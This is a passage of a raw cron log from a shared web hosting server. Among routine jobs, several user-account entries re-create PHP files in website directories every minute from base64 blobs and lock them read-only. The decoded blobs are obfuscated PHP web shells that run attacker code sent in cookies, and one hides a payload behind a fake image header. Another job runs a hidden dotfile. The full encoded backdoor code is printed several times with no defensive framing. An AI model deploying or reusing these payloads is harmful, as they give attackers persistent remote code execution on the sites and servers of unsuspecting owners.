BldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:01:02 medusa CROND[9400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:01:02 medusa CROND[9409]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:02:02 medusa CROND[24924]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:02:02 medusa CROND[24925]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:02:02 medusa CROND[24928]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:02:02 medusa CROND[24929]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:02:02 medusa CROND[24933]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:02:02 medusa CROND[24939]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:02:02 medusa CROND[24938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:02:02 medusa CROND[24940]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:02:02 medusa CROND[24937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:02:02 medusa CROND[24941]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:02:02 medusa CROND[24942]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:02:02 medusa CROND[24943]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:02:02 medusa CROND[24945]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:03:01 medusa CROND[11799]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:03:01 medusa CROND[11905]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:03:02 medusa CROND[12099]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:03:02 medusa CROND[12101]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:03:02 medusa CROND[12102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:03:02 medusa CROND[12105]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:03:02 medusa CROND[12112]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:03:02 medusa CROND[12120]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:03:02 medusa CROND[12121]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:03:02 medusa CROND[12124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:03:02 medusa CROND[12123]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:03:02 medusa CROND[12132]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:04:01 medusa CROND[29691]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:04:02 medusa CROND[29990]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1